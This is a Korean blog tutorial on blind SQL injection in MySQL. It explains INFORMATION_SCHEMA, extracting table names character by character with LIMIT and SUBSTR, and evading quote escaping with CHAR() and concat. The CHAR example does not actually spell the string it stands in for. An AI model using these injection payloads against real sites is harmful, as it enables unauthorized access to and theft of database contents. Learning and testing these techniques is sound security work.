ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Blind SQL Injection
    Hack/Web 2015. 3. 2. 20:16

    INFORMATION_SCHEMA


    MYSQL의 메타 테이블로, DB에 존재하는 객체에 대해 담고있는 DB이다.


    SCHEMATA
    TABLES 

    COLUMNS 

    CHARACTER_SETS
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    ROUTINES
    STATISTICS
    VIEWS
    USER_PRIVILEGES
    SCHEMA_PRIVILEGES
    TABLE_PRIVILEGES
    COLUMN_PRIVILEGES
    TABLE_CONSTRAINTS
    KEY_COLUMN_USAGE
    TRIGGERS 



    DB에 존재하는 테이블에 어떠한것이있는지 알려면 TABLES를 이용하면된다.


    INFORMATION_SCHEMA.TABLES를 입력하면된다.


    블라인드 인젝션 기법은 한자씩 끊어서 가져와야하기때문에 Limit연산자를 이용한다.


    select table_name from information_schema.tables where table_type='base table' limit 0,1


    해당 쿼리를 날려주면 첫번째 테이블을 가져온다.




    Substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)


    해당 쿼리를 날려주면 첫번쨰테이블에서의 첫글자만 따온다.


    1,1을 2,1 혹은 3,1 형식으로 바꿔주면 각각 2번쨰글자, 3번째 글자를 따올수있다.



    [우회]


    php는 매직쿼터 옵션이존재하기때문에 concat연산자를 사용할수있다.


    table_type=concat(char(98),char(99))


    이렇게해주면 싱글쿼터를 사용하지않고 가능하다.



    'Hack > Web ' 카테고리의 다른 글

    SQL Injection 기초  (0) 2015.02.25
    dun_worry_vase  (0) 2015.02.23

    댓글

Designed by Tistory.